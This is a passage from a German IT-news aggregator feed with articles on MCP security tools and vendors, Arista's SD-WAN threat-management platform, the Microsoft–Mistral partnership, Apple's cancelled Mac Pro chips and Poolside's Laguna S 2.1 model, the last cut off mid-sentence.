<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.computerwoche.de/article/4031227/was-ist-model-context-protocol.html" target="_blank">MCP</a>) verbindet KI-Agenten mit Datenquellen und erfreut sich im Unternehmensumfeld wachsender Beliebtheit. Allerdings ist auch MCP nicht frei von Sicherheitslücken, wie entsprechende Entdeckungen, etwa beim SaaS-Anbieter <a href="https://www.upguard.com/blog/asana-discloses-data-exposure-bug-in-mcp-server" target="_blank" rel="noreferrer noopener">Asana</a> oder dem IT-Riesen <a href="https://www.catonetworks.com/blog/cato-ctrl-poc-attack-targeting-atlassians-mcp/" target="_blank" rel="noreferrer noopener">Atlassian</a> gezeigt haben. Inzwischen hat sich jedoch einiges in Sachen MCP-Sicherheit getan. Einerseits wurden mit Blick auf das Kernprotokoll etliche Fortschritte erzielt. Beispielsweise in Form von Support für OAuth sowie für Authentifizierungs-Server von Drittanbietern und Identity-Management-Systeme. Darüber hinaus wurde inzwischen auch eine <a href="https://modelcontextprotocol.info/tools/registry/" target="_blank" rel="noreferrer noopener">offizielle MCP Registry</a> geschaffen, die einen Überblick über sichere, öffentlich verfügbare MCP-Server bietet.</p>



<p class="wp-block-paragraph">Dennoch bestehen weiterhin Sicherheitslücken, die sich für diverse Cyberschandtaten ausnutzen lassen – <a href="https://www.computerwoche.de/article/4044551/wenn-der-ki-agent-im-fakeshop-kauft.html" target="_blank">Prompt Injection</a>, Tool Poisoning, Token-Diebstahl, Server-übergreifende Attacken oder manipulierte Messages sind nur einige von vielen Beispielen. Mit anderen Worten: Unternehmen, die sich beim <a href="https://www.computerwoche.de/article/4049237/3-tipps-um-agentic-ai-systeme-in-der-cloud-zu-entwickeln.html" target="_blank">Aufbau von Agentic-AI-Systemen</a> einen Wettbewerbsvorteil verschaffen wollen, müssen erhebliche Anstrengungen unternehmen, um zu gewährleisten, dass sensible Daten nicht nach außen dringen. Glücklicherweise gibt es diverse Tools, die dabei Unterstützung versprechen.</p>



<p class="wp-block-paragraph">In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>was Security-Tools für MCP leisten sollten, und</li>



<li>welche Angebote in diesem Bereich interessant sind.</li>
</ul>



<h2 class="wp-block-heading">Das sollten MCP-Sicherheitslösungen können</h2>



<p class="wp-block-paragraph">Die Gefahr von Datenlecks, Prompt Injections und weiteren Sicherheitsbedrohungen besteht unabhängig davon, ob Unternehmen:</p>



<ul class="wp-block-list">
<li>ihre eigenen KI-Agenten mit MCP-Servern von Drittanbietern,</li>



<li>ihre eigenen MCP-Server mit Drittanbieter-Agenten, oder</li>



<li>ihre eigenen Server mit den eigenen Agenten verbinden.</li>
</ul>



<p class="wp-block-paragraph">Soll heißen: Unternehmen müssen in jedem Fall Autorisierungen und Berechtigungen überprüfen, detaillierte Zugriffskontrollen implementieren und alles protokollieren. Daraus ergeben sich auch die Anforderungen für MCP-Sicherheitslösungen. Diese sollten bieten:</p>



<ul class="wp-block-list">
<li><strong>MCP-Servererkennung.</strong> Für Mitarbeiter eines Unternehmens ist es einfach, MCP-Server herunterzuladen und zu nutzen. Mit Scan-Services für MCP-Server können Unternehmen sämtliche Instanzen von Schatten-MCP-Servern in ihrer Umgebung finden.</li>



<li><strong>Laufzeitschutz.</strong> KI-Agenten kommunizieren mit MCP-Servern in natürlicher Sprache. MCP-Sicherheits-Tools sollten deshalb in der Lage sein, diese Kommunikation auf Sicherheitsprobleme wie Prompt Injections hin zu überwachen.</li>



<li><strong>Authentifizierungs- und Zugriffskontrollen.</strong> Das MCP-Protokoll unterstützt inzwischen OAuth, aber das ist nur ein erster Schritt. Für zusätzliche Sicherheit empfehlen sich Tools mit integrierten Kontroll-Frameworks für Zero Trust und Least Privilege.</li>



<li><strong>Logging und Observability.</strong> Tools und Plattformen sollten zudem die Möglichkeit bieten, MCP-Protokolle zu sammeln, Sicherheitsteams über Richtlinienverstöße zu informieren, Compliance-Daten zu erfassen oder Protokolle in die bestehende Sicherheitsinfrastruktur einzuspeisen.</li>
</ul>



<h2 class="wp-block-heading">MCP-Security-Angebote</h2>



<p class="wp-block-paragraph">Im Folgenden haben wir die Anbieter von MCP-Security-Tools in drei Kategorien aufgeteilt. Diese Aufstellung erhebt keinen Anspruch auf Vollständigkeit.</p>



<p class="wp-block-paragraph"><strong>Hyperscaler</strong></p>



<p class="wp-block-paragraph">Für Unternehmen, die sich vollständig auf eine bestimmte Cloud-Plattform verlassen, bieten die MCP-Tools des jeweiligen Hyperscalers einen einfachen Einstieg.</p>



<ul class="wp-block-list">
<li><strong>Amazon Web Services (AWS)</strong> hat Mitte 2025 seine eigene agentenbasierte KI-Plattform eingeführt. <a href="https://aws.amazon.com/de/bedrock/agentcore/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore</a> umfasst ein Gateway, das mehrere Protokolle unterstützt (darunter auch MCP), ein Identity-Management-System sowie Observability.</li>



<li><strong>Microsoft</strong> bietet einen grundlegenden <a href="https://learn.microsoft.com/de-de/azure/developer/azure-mcp-server/overview" target="_blank" rel="noreferrer noopener">Azure-MCP-Server</a> an, inklusive Support für Azure Key Vault. Darüber hinaus unterstützen auch Azure AI Foundry Agent Service und Azure API Management das Model Context Protocol. Zudem bietet Microsoft mit dem <a href="https://learn.microsoft.com/de-de/agent-framework/overview/agent-framework-overview" target="_blank" rel="noreferrer noopener">Agent Framework</a> auch ein Open-Source-Entwicklungskit, das sowohl MCP als auch Agent2Agent unterstützt und beispielsweise Schutz vor Prompt Injections verspricht.</li>



<li><strong>Google Cloud</strong> kündigte Anfang 2025 seine <a href="https://cloud.google.com/blog/products/ai-machine-learning/mcp-toolbox-for-databases-now-supports-model-context-protocol?hl=en" target="_blank" rel="noreferrer noopener">MCP Toolbox für Datenbanken</a> an – inklusive integrierter Authentifizierung und Observability. Außerdem hat der Hyperscaler auch <a href="https://cloud.google.com/blog/products/identity-security/how-to-secure-your-remote-mcp-server-on-google-cloud?hl=en" target="_blank" rel="noreferrer noopener">eine Referenzarchitektur</a> veröffentlicht, um MCP-Server auf seiner Cloud-Plattform abzusichern.</li>
</ul>



<p class="wp-block-paragraph"><strong>Große Plattformanbieter</strong></p>



<ul class="wp-block-list">
<li>Der IT-Dienstleister <strong>Cloudflare</strong> hat mit <a href="https://blog.cloudflare.com/zero-trust-mcp-server-portals/" target="_blank" rel="noreferrer noopener">MCP Server Portals</a> ein Tool veröffentlicht, mit dem Unternehmen MCP-Verbindungen zentralisiert absichern und überwachen können. Die Funktion ist Bestandteil der Cloudflare-One-Plattform.</li>



<li><strong>Palo Alto Networks</strong> hat mit Blick auf MCP-Sicherheit mehrere Eisen im Feuer. Mit <a href="https://www.paloaltonetworks.com/blog/2025/06/securing-ai-agent-innovation-prisma-airs-mcp-server/" target="_blank" rel="noreferrer noopener">Prisma AIRS</a> hat das Unternehmen einen eigenen, intermediären MCP-Server veröffentlicht. Dieser sitzt zwischen den KI-Agenten und dem eigentlichen MCP-Server und erkennt schadhafte Inhalte und Daten. Das Tool <a href="https://www.paloaltonetworks.com/blog/2025/06/cloud-security-model-context-protocol-mcp-security/" target="_blank" rel="noreferrer noopener">MCP Security</a> ist hingegen Bestandteil von Cortex Cloud WAAS und überprüft die MCP-Kommunikation an der Netzwerkgrenze auf bösartige Aktivitäten.</li>



<li><strong>SentinelOne</strong> gewährt mit seiner <a href="https://www.sentinelone.com/blog/avoiding-mcp-mania-how-to-secure-the-next-frontier-of-ai/" target="_blank" rel="noreferrer noopener">Singularity Platform</a> ebenfalls Einblick in die MCP-Interaktionskette und bietet zum Beispiel Warnmeldungen und automatisierte Incident Response für MCP-Server auf lokaler oder Remote-Ebene.</li>



<li>Die <a href="https://acuvity.ai/" target="_blank" rel="noreferrer noopener">Plattform</a> von <strong>Acuvity</strong> (seit Februar 2026 Teil von <strong>Proofpoint</strong>) verspricht, MCP-Server umfassend abzusichern. Dafür sorgt laut dem Anbieter eine Kombination aus Least-Privilege-Execution, unveränderlichen Laufzeiten, kontinuierlichen Schwachstellenscans, Authentifizierung und Bedrohungserkennung.</li>



<li>Daneben hat auch <strong>Broadcom</strong> MCP-Sicherheitsfunktionen für VMware Cloud Foundation <a href="https://www.broadcom.com/company/news/product-releases/63401" target="_blank" rel="noreferrer noopener">angekündigt</a>, die künftig mehr Sicherheit für agentenbasierte Workflows gewährleisten sollen.</li>
</ul>



<p class="wp-block-paragraph"><strong>Startups</strong></p>



<ul class="wp-block-list">
<li>Das API-Security-Startup <strong>Akto</strong> hat eine <a href="https://www.akto.io/mcp-security" target="_blank" rel="noreferrer noopener">MCP-Security-Plattform</a> im Angebot. Sie umfasst ein Discovery Tool, um MCP-Server in Unternehmensumgebungen zu identifizieren, Security-Testing-Werkzeuge sowie Monitoring- und Threat-Detection-Funktionen.</li>



<li><strong>Invariant Labs</strong> bietet mit <a href="https://github.com/invariantlabs-ai/mcp-scan" target="_blank" rel="noreferrer noopener">MCP-Scan</a> ein quelloffenes Tool, das die statische Analyse und Echtzeitüberwachung von MCP-Servern ermöglicht. Mit <a href="https://invariantlabs.ai/blog/guardrails" target="_blank" rel="noreferrer noopener">Guardrails</a> hat das Startup auch ein kommerzielles Produkt im Angebot. Dabei handelt es sich um einen Proxy. Der zwischen KI-Agenten und MCP-Servern sitzt und vor Security-Risiken schützen soll. Das Tool befähigt Anwender außerdem dazu, Richtlinien aufzusetzen.</li>



<li><strong>Highflame </strong>(vormals Javelin) <a href="https://www.highflame.com/" target="_blank" rel="noreferrer noopener">addressiert</a> ebenfalls das Thema MCP-Sicherheit. Etwa mit Funktionen wie MCP-Server auf Risiken zu scannen oder Datenanfragen zu überprüfen.  </li>



<li><strong>Lasso Security</strong> stellt ein Open-Source-<a href="https://github.com/lasso-security/mcp-gateway" target="_blank" rel="noreferrer noopener">MCP-Gateway</a> zur Verfügung, das die Konfiguration und das Lebenszyklusmanagement von MCP-Servern ermöglicht und Messages um sensible Informationen bereinigt.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Artikel ist <a href="https://www.csoonline.com/article/4087656/what-cisos-need-to-know-about-new-tools-for-securing-mcp-servers.html" target="_blank">im Original</a> bei unser Schwesterpublikation CSOonline.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Arista debuts unified SD-WAN edge platform]]></title>
<description><![CDATA[Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.



The company announced AI-driven Edge Threat Management (ETM) for VeloCloud SD-WAN, a platfor...]]></description>
<link>https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685191/it-security-nachrichten/arista-debuts-unified-sd-wan-edge-platform/</guid>
<pubDate>Wed, 22 Jul 2026 05:40:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Arista Networks is looking to simplify data protection at the edge of enterprise networks with a new security package that combines branch office security with SD-WAN connectivity in a single platform.</p>



<p class="wp-block-paragraph">The company announced AI-driven <a href="https://edge.arista.com/edge-threat-management/">Edge Threat Management</a> (ETM) for VeloCloud SD-WAN, a platform that links typically separate products and capabilities including Arista’s next-generation firewall, IP reputation, external blocklists, intrusion prevention, URL filtering, application classification, geo-IP filtering, network address translation, deep packet inspection, and zone-based segmentation. </p>



<p class="wp-block-paragraph">ETM provides perimeter protection at the WAN edge and is a software upgrade option to VeloCloud SD-WAN, according to Arista. It can help simplify branch operations with a common operating system, a uniform enforcement engine, and common end-to-end security policies, the vendor stated. The new ETM solution also leverages Arista’s AVA (Autonomous Virtual Assist) for AI-driven policy intelligence.</p>



<p class="wp-block-paragraph">“Multi-vendor branch complexity creates the ultimate blind spot, and your adversaries are actively hiding in it,” wrote <a href="https://www.linkedin.com/in/brendangibbs1/">Brendan Gibbs</a>, Arista’s vice president, AI, routing, and switching platforms, in a <a href="https://blogs.arista.com/blog/the-unified-edge-for-a-secure-branch">blog post</a> about the new platform.</p>



<p class="wp-block-paragraph">Sprawling multi-vendor infrastructure creates operational headaches and increases security risks, according to Gibbs. “When you have four or five different point solutions from different vendors stacked on top of each other, configuring them becomes a manual, disjointed process. In fact, industry data shows that up to 95% of network changes are still performed manually, which inevitably leads to configuration mistakes, the single biggest driver of network downtime and security policy gaps,” he wrote. </p>



<p class="wp-block-paragraph">“When security policies are decoupled from local network routing, critical blind spots emerge. An attacker doesn’t need to break your cloud-delivered SASE firewall; they just need to target the unmonitored local traffic gaps between your Wi-Fi AP, your LAN switch, and your SD-WAN edge router,” Gibbs wrote.</p>



<p class="wp-block-paragraph">ETM is integrated into VeloCloud Orchestrator as a dedicated enterprise application. “This enables security operators to configure policies that build on the same source of shared network configuration while maintaining a dedicated management console for security policy configuration, provisioning, and reporting,” Arista <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">stated</a>.</p>



<p class="wp-block-paragraph">ETM security policies are managed in VeloCloud Orchestrator. “Admins can build and assign reusable policies consisting of predefined objects and templates. This design makes updating security policies possible by a few simple clicks, while the associated changes are propagated throughout the network within minutes,” Arista stated.</p>



<p class="wp-block-paragraph">VeloCloud Orchestrator is the central management, configuration, and monitoring hub for VeloCloud SD-WAN and SASE networks.</p>



<p class="wp-block-paragraph">In addition, VeloCloud edge routers collect threat intelligence data from a variety of sources to determine in real-time the trustworthiness and identity of hosts inside and outside the network. Through integration with <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-NDR-Datasheet.pdf">Arista Network Detection and Response</a> and other web-based dynamic lists, administrators can identify suspicious hosts and build policies to block potentially harmful activities, the <a href="https://www.arista.com/assets/data/pdf/Datasheets/Arista-VeloCloud-SD-WAN-Edge-Threat-Management-Data-Sheet.pdf">vendor stated</a>.</p>



<p class="wp-block-paragraph">Integration with Arista’s AVA policy assistant is aimed at simplifying management of branch security policies. AVA continuously analyzes configuration states and translates complex, multi-site security rules into plain English, Gibbs explained. For example, NetOps administrators can use AI with Ask AVA to predict “how specific traffic will be handled before committing to a deployment, preventing manual configuration errors that leave branches exposed,” Gibbs wrote.</p>



<p class="wp-block-paragraph">Arista also touted support for network-wide segmentation policies. “The flexible security policy configuration within the Edge Threat Management policy management extends the security coverage from the data center to the branch,” the vendor stated. “Security operations administrators can build access policies that are enforced across a distributed network. The centralized design enables admins to configure and deploy consistent zone based policies across the entire distributed network.”</p>



<p class="wp-block-paragraph">ETM is a significant addition to the Arista VeloCloud portfolio. Arista <a href="https://www.networkworld.com/article/4016270/arista-buys-velocloud-to-reboot-sd-wans-amid-ai-infrastructure-shift.html">bought</a> the VeloCloud SD-WAN platform from Broadcom a year ago and has been promising new technologies that expand the platform. ETM also could further the vendor’s <a href="https://www.networkworld.com/article/4111354/arista-rides-ai-wave-but-battle-for-campus-networks-looms.html">stated plans to expand beyond its data center networking roots</a> and compete more broadly with enterprise networking vendors such as Cisco, Palo Alto Networks, and Fortinet.</p>



<p class="wp-block-paragraph">In the SASE and SD-WAN world, vendors such as Cisco, Palo Alto, Fortinet, Cato Networks, and Versa Networks are among the most balanced suppliers, with both SD-WAN and SSE contributing meaningful revenue streams, according to a recently published <a href="https://www.delloro.com/news/sase-1q-2026-revenue-climbs-21-percent-to-over-3-b-driven-by-ai-governance/">report</a> from Dell’Oro Group.</p>



<p class="wp-block-paragraph">“We forecast that SASE will remain on a double-digit growth path in 2026, with SSE-first rollouts remaining the most common entry point, and SD-WAN supported by branch modernization, software attach, and branch security refresh,” Dell Oro stated.</p>



<p class="wp-block-paragraph">“AI is changing the SASE discussion from access and inspection to governance, data protection, and control over agents and machine traffic,” Mauricio Sanchez, senior director, enterprise security and networking at Dell’Oro Group, stated in the report. “A 21 percent Y/Y quarter shows that SASE is not waiting for a future AI refresh cycle; it is already absorbing the early security and networking requirements created by AI adoption,” Sanchez added.</p>



<p class="wp-block-paragraph">ETM for VeloCloud SD-WAN will be available in Q4 of 2026 and will be available for all current VeloCloud hardware and virtual edge platforms.</p>
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<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



<p class="wp-block-paragraph">“It’s possible to be both a competitor and a partner at the same time,” noted technology analyst <a href="https://ca.linkedin.com/in/carmi" target="_blank" rel="noreferrer noopener">Carmi Levy</a>. Large cloud providers are becoming AI marketplaces in their own right, he pointed out, and are drifting away from exclusively promoting their own models. Building Mistral support into their infrastructure avoids platform lock-in and removes a “key objection for customers looking for options.”</p>



<p class="wp-block-paragraph">“As much as Microsoft would want everybody standardizing on Copilot and Phi, it recognizes the simple fact that customers increasingly want to choose their own models,” said Levy.</p>



<h2 class="wp-block-heading">Expands model access, sovereign cloud capabilities</h2>



<p class="wp-block-paragraph">As part of the agreement, Mistral will expand its Europe-based capacity with thousands of Nvidia Vera Rubin GPUs.</p>



<p class="wp-block-paragraph">Mistral CEO and co-founder <a href="https://www.computerworld.com/article/4134107/mistral-ceo-over-half-of-companies-software-can-be-replaced-by-ai.html" target="_blank">Arthur Mensch</a> described a “slight gap” in compute capacity in Europe, noting that this expansion will provide more compute capability and support Microsoft’s cloud and AI services, providing a “shared platform for training, inference and large-scale deployment.” The companies call it a critical step to allow Microsoft customers to benefit from Mistral’s “scientific and compute innovations.”</p>



<p class="wp-block-paragraph">In addition, Mistral Medium 3.5 and OCR 4 models are now available in Microsoft Foundry, and Mistral Medium 3.5 can be used in Microsoft Copilot Studio.</p>



<p class="wp-block-paragraph">The partnership also extends Microsoft’s sovereign cloud infrastructure as well as combining Mistral’s frontier models with Microsoft’s security, compliance, and cloud-to-edge platform. This gives enterprises, particularly those in regulated markets, the ability to deploy AI where they see fit, while maintaining control over their data and workloads, according to the companies.</p>



<p class="wp-block-paragraph">Further, customers will be able to build AI using the same models, tools, APIs, and workflows they’re used to, across Microsoft Foundry, Foundry Local, and <a href="https://www.infoworld.com/article/4108044/whats-next-for-azure-infrastructure.html" target="_blank">Azure Local</a>, and opt for fully Azure-hosted cloud environments; cloud-connected, controlled Azure Local environments that only use cloud-based Azure when necessary; and fully-disconnected environments that can operate independently for more sensitive scenarios.</p>



<p class="wp-block-paragraph">“Europe should have access to the world’s most capable AI without compromising control over their data, operations or digital future,” said <a href="https://www.linkedin.com/in/bradsmi" target="_blank" rel="noreferrer noopener">Brad Smith</a>, vice chair and president, Microsoft, noting that with this partnership, the company is honoring its <a href="https://blogs.microsoft.com/on-the-issues/2025/04/30/european-digital-commitments/" target="_blank" rel="noreferrer noopener">European digital commitments</a> and giving customers a foundation for AI so they can “operate on their own terms.” Customers with “heightened sovereignty needs” will be able to exercise more control with “resilience and assurance” and continued access to Mistral’s open-weight models.</p>



<h2 class="wp-block-heading">Enterprise credibility</h2>



<p class="wp-block-paragraph">Gartner distinguished VP analyst <a href="https://www.gartner.com/en/experts/arun-chandrasekaran" target="_blank" rel="noreferrer noopener">Arun Chandrasekaran</a> noted that there’s no doubt that this agreement strengthens Microsoft’s sovereignty messaging and its position in regulated industries, and the tech giant benefits by expanding its AI portfolio with a “credible European frontier model provider”</p>



<p class="wp-block-paragraph">He pointed to key differences from the initial partnership struck by the two companies in 2024; whereas originally Microsoft was hosting Mistral’s models, it is now consuming capacity built by Mistral in Europe.</p>



<p class="wp-block-paragraph">Ultimately, the deal emphasizes European data centers, customer-controlled deployments, Azure Local, and fully-disconnected environments, addressing many of the concerns that surrounded the original Azure cloud only relationship, Chandrasekaran explained.</p>



<p class="wp-block-paragraph">For Mistral, the partnership provides “enterprise credibility, and repeatable infrastructure revenue” that can fund continued <a href="https://www.cio.com/article/4198030/7-issues-impacting-ai-strategies-and-how-cios-should-respond.html" target="_blank">AI platform development</a>, he said. The combination of Microsoft’s enterprise AI platform with Mistral’s models and European AI infrastructure will give joint customers more deployment flexibility and expand options around data residency, sovereign AI deployments, and disconnected/on-premises environments.</p>



<p class="wp-block-paragraph">“It also gives customers more model choice, reducing dependence on a single AI provider,” said Chandrasekaran.</p>



<h2 class="wp-block-heading">A complementary partnership</h2>



<p class="wp-block-paragraph">Mistral continues to innovate with its frontier AI models and its chat and coding agent, Vibe (formerly Le Chat), yet it doesn’t attract as much attention as Claude or ChatGPT.</p>



<p class="wp-block-paragraph">One of the company’s key differentiators is its targeted business model. Levy pointed out that not every workload requires “full-flight GPT.” For customers trying to rein in costs and limit exposure with on-premises deployments, Mistral’s “more focused capabilities can represent a cost-effective alternative.”</p>



<p class="wp-block-paragraph">Chandrasekaran pointed to Mistral’s combination of high-performance open-weight models, strong multilingual capabilities, and a “focus on efficient inference that lowers deployment costs.”</p>



<p class="wp-block-paragraph">Unlike many frontier AI companies, it offers customers greater flexibility to self-host and customize models; this makes it particularly attractive for enterprises and governments with sovereignty or regulatory requirements, he said. Its European roots also position it as the leading alternative for organizations seeking cutting-edge AI outside the US and Chinese ecosystems.</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/bill-wong" target="_blank" rel="noreferrer noopener">Bill Wong</a>, research fellow at Info-Tech Research Group, also pointed to Mistral’s high-quality models and “adeptness as a sovereign AI leader.” There is growing demand for AI companies that comply with regional laws and data residency, and Mistral is established as “one of the most prominent European players.”</p>



<p class="wp-block-paragraph">“Such a strategic position makes it a great partner for Microsoft to further expand its AI offerings beyond just being a single-model provider,” he said. Customers get freedom of choice while complying with data sovereignty and regulatory limitations without having to execute a separate AI deployment, while Mistral, for its part, can go beyond Europe and gain more visibility with international businesses.</p>



<p class="wp-block-paragraph">Mistral brings both “technological and political advantages,” Levy noted. The startup’s European roots give Microsoft more credibility “at a fraught time for geopolitical relationships.” Customers in Europe and beyond are concerned about US exposure, and Mistral can provide a safer choice.</p>



<p class="wp-block-paragraph">Meanwhile, Microsoft can deploy European-developed AI models running on European infrastructure, thus maximizing regulatory compliance while offering next-level enterprise marketing scale that Mistral “simply couldn’t achieve on its own,” said Levy. Mistral-based workloads deployed on Azure will also benefit from Microsoft’s “comprehensive security certifications, governance frameworks, and monitoring.”</p>



<p class="wp-block-paragraph">Bottom line: Both companies can maximize their unique roadmaps through the partnership, he said. “As the rules of the AI economy continue to evolve, expect more eyebrow-raising deals like this to be signed.”</p>
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<title><![CDATA[Apple Scrapped Mac Pro Revival, Canceled M2 and M3 Extreme Chips]]></title>
<description><![CDATA[Apple reportedly canceled M2 Extreme and M3 Extreme chips for the Mac Pro before discontinuing the desktop and shifting focus to Mac Studio.
The post Apple Scrapped Mac Pro Revival, Canceled M2 and M3 Extreme Chips appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3685066/it-nachrichten/apple-scrapped-mac-pro-revival-canceled-m2-and-m3-extreme-chips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685066/it-nachrichten/apple-scrapped-mac-pro-revival-canceled-m2-and-m3-extreme-chips/</guid>
<pubDate>Wed, 22 Jul 2026 02:48:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Apple reportedly canceled M2 Extreme and M3 Extreme chips for the Mac Pro before discontinuing the desktop and shifting focus to Mac Studio.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-apple-mac-pro-m2-m3-extreme-chips-canceled/">Apple Scrapped Mac Pro Revival, Canceled M2 and M3 Extreme Chips</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure 